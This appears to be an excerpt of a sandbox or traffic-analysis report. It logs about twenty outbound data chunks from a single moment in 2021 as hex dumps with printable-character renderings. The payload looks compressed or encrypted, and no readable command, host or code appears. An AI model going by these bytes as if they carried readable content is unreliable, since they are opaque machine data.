2021-09-13 04:32:01 UTC	172	OUT	Data Raw: ae 67 d1 e5 9c 96 bf 6d f3 58 3f 52 fe 9b 00 d8 8e 9e a7 c6 36 4d 5e ec 83 15 68 6d 78 df b3 78 df 51 91 66 a5 1b c8 25 9b 23 01 8d 00 74 b7 4b d8 65 15 04 9d 59 96 e6 15 bf 33 3a b5 fc 1b 46 00 76 14 2b eb 4a 92 bc 33 0c 58 67 85 00 1c 9f 00 e4 11 5a 97 96 00 74 1e f0 53 5f 00 36 a5 9f 85 2b 41 8d 81 10 80 1f 11 95 50 c1 47 15 aa 36 ca e8 be 28 fa 6a b2 c1 10 76 bc a2 1d ae c0 69 45 ee 6a 91 27 2f 67 5c 11 52 52 8a 11 b3 8c fb 8f 29 a8 76 7d 79 e8 ed 72 0d 51 a7 63 bb 5e 4b bc 82 53 cc ab e6 d0 e7 9d 5f 11 7a b4 2f 1a 45 88 66 c5 dc 34 19 62 48 cf d3 b6 0b 23 db 10 5b d3 79 9d 4d e7 1b 6c 85 08 42 54 38 cf ab d9 8a ae 21 2a 9e 40 9b 1e e3 f3 ec b3 29 4f 80 38 50 8c a5 94 74 93 8d 97 e7 aa 6d ce 4d 34 f3 5b 4e 99 3f 4b bc ef 8c 84 2b f9 3c 6a e9 67 05 76 Data Ascii: gmX?R6M^hmxxQf%#tKeY3:Fv+J3XgZtS_6+APG6(jviEj'/g\RR)v}yrQc^KS_z/Ef4bH#[yMlBT8!*@)O8PtmM4[N?K+<jgv
2021-09-13 04:32:01 UTC	188	OUT	Data Raw: 5a 21 7b 1d 7f df a8 d5 94 b9 6a 25 65 ae c4 b1 f2 31 a7 a4 a0 45 9b e3 da 08 bc 50 e6 a1 e9 73 73 71 12 cf 43 46 3b 6e 06 d9 2b f9 3a 32 99 2b f0 39 4f 0c 2a 7a dd ed 7d d0 48 4d 91 b8 b8 cf 36 3f a8 10 34 03 89 bc 97 8c 2a 2c f9 d6 88 c0 cc 70 8c 24 8c a8 40 2e 57 28 67 28 8f 47 32 47 2c a1 ec a1 8b 28 77 88 19 30 24 73 00 3f 4f 30 22 39 9e 6b 03 f9 19 89 e7 66 bf c9 94 ed 3b 81 f2 bd c7 ca ef 0d fc 33 55 5a 4e 74 e1 77 0e 7e 5b ca 7b 8d df 83 78 8f 42 04 42 02 02 fe 3d 20 ff 30 b4 2d 06 44 04 e2 b7 b7 15 7f 51 01 a8 04 02 50 d0 28 c0 10 5f ee 35 87 52 a2 ae 14 2a ff 4a 4a 40 6f 7f b1 fd a6 04 60 44 02 6e 88 02 50 51 d1 e7 84 5e b0 ce 89 b8 e6 08 c0 c8 e7 cd 76 4d 08 40 bb ad fb ae 00 5f e6 ad 0d 4e 00 96 22 22 f0 0c be ec 8b 61 b7 fb 63 2c 9a d0 22 02 Data Ascii: Z!{j%e1EPssqCF;n+:2+9Oz}HM6?4,p$@.W(g(G2G,(w0$s?O0"9kf;3UZNtw~[{xBB= 0-DQP(_5R*JJ@o`DnPQ^vM@_N""ac,"
2021-09-13 04:32:01 UTC	204	OUT	Data Raw: 60 6e ee 1a 27 03 f3 f3 d6 50 05 a7 90 81 1b dd d6 40 df bd d3 44 05 fe ec 7e a2 5f 30 bf 7e 88 e8 0f 8b 88 fe fc 28 ef ff 61 a2 bf 3c 48 f4 d7 07 78 9a b7 f9 c3 42 a2 df dc 5a 47 ff c3 fb fb e9 cc 95 f4 c3 9b 96 d3 f7 a7 7d 4a df 9e f6 19 55 4d fb 84 2a a6 2f a3 8a 9b 97 53 e5 8c cf a9 e2 96 55 54 31 6b 35 55 cc e6 ef 9e c3 cc ad a3 ec 3c d0 40 d9 05 8d 86 f9 94 c0 cb d1 77 21 9a 33 4b 3f 86 b3 eb f9 b3 f5 94 bf 85 e1 73 ab 98 c1 cb 6f e6 74 7a 1d 15 6e ac 35 51 88 53 79 bf 93 98 09 d5 94 19 b3 82 32 d7 31 d7 f0 fd 86 08 bc 94 f3 cf 05 18 9c 86 cb c2 e9 5c de 4e 82 08 7c 9a 9f 11 10 81 fc 3c c2 f3 0d cf 51 bc 9f d1 1a 02 d1 80 68 1a 2c ff 50 e3 df 86 90 81 fc ee 94 c8 7b b4 1a e3 77 97 2f 02 25 98 04 fd d5 8b 08 e4 df c7 51 f9 07 9a 29 00 7f 7a ec de 22 Data Ascii: `n'P@D~_0~(a<HxBZG}JUM*/SUT1k5U<@w!3K?sotzn5QSy21\N\|<Qh,P{w/%Q)z"
2021-09-13 04:32:01 UTC	220	OUT	Data Raw: 67 a2 f2 0f 94 13 80 9e 08 8c 89 bf 90 72 12 30 16 29 18 13 80 40 07 fe 58 55 5d 2b e9 e6 83 c6 8a 00 dc 6c 60 52 c7 d5 75 a7 5f 77 df 17 2e 00 b3 a3 1b 8c 04 14 ea 28 3b b6 de 00 11 38 ce c8 c0 dc 38 cc d7 8b 08 4c a8 13 0a 13 eb a9 c0 db 38 26 a5 45 20 06 11 c9 ea 48 c2 4e 06 02 9e 9f c9 a9 8e 22 3c b7 ce 89 c0 c2 bc 7a aa 9c df 40 55 0b ea a9 f5 82 3a 6a 3d 6f 0d 7d 67 7e 2d fd 88 a7 7f 7e 5b 3d fd df ed 8d f4 a7 85 44 9b dc c5 d7 ef 1e 33 68 48 3b 8c 1e bc 88 a8 c7 62 a2 be 4b 88 06 3e 41 74 c0 93 46 04 a2 89 f0 f0 a7 6b e8 f4 a5 6b e8 bc 17 d6 d0 25 2f d5 d2 95 2f af 91 26 bf d7 bf b2 86 6e 7a ab 81 e6 32 77 bc 4b 74 ef 7b 44 0f 7d 40 f4 d8 47 44 8b 3f 26 5a f2 09 f3 59 23 2d 59 56 4f 4f 2c ab a3 a7 97 d7 d3 52 e6 c5 65 0d f4 ca 67 a0 86 de 5a 5d 4b Data Ascii: gr0)@XU]+l`Ru_w.(;88L8&E HN"<z@U:j=o}g~-~[=D3hH;bK>AtFkk%//&nz2wKt{D}@GD?&ZY#-YVOO,RegZ]K
2021-09-13 04:32:01 UTC	236	OUT	Data Raw: 23 00 33 7d 70 9f fa e1 9e f5 47 3a 00 0c c4 f4 3d 3e 9a 6f 30 7e 1f 31 a2 0f 64 47 6c 94 fc a8 cd da b4 b5 c3 c4 7a a9 9a dc 28 9d a7 36 4b d7 e9 22 dd 67 a2 3e 3d bd 59 a5 5f 97 99 6c 86 db a2 d3 6c d6 5b 35 a3 49 3a 02 46 e9 19 94 7a 46 f9 4c 47 d9 b4 7a 25 3f b5 41 72 53 6a 25 3b b9 4e c9 4d ac 55 32 e3 3d d8 7f 66 ec 56 c7 e8 2d 92 19 b9 49 32 23 36 47 72 2f 33 aa 21 c2 22 f0 48 4c ce 8d 69 41 5e 33 d6 a1 d4 6b 74 72 6f 94 14 18 e9 19 d1 22 99 e1 9e 11 9c 77 f9 59 0a 40 8a 42 a4 44 d7 e5 3a 23 b1 4d 32 0a d3 5e 24 16 a4 5f 31 91 00 f4 70 5e 9b 03 4f c0 31 4d c6 36 a6 20 6f b2 13 80 55 63 d7 ca 61 93 5e 91 2b 9f 5e 2d 4b 45 64 fa 6a 91 73 a6 ff 43 7a 5c f3 b0 f6 63 bd 5d 02 90 c3 4a b3 b0 ad 5e b7 51 8e fd d1 30 cf 50 65 e6 d2 3f 2b 9c de b4 69 93 d4 Data Ascii: #3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:01 UTC	252	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:01 UTC	268	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:01 UTC	284	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:01 UTC	300	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:01 UTC	316	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:01 UTC	332	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:01 UTC	348	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:01 UTC	364	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:01 UTC	380	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:01 UTC	396	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:01 UTC	412	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:01 UTC	428	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:01 UTC	444	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:01 UTC	460	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:01 UTC	475	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw 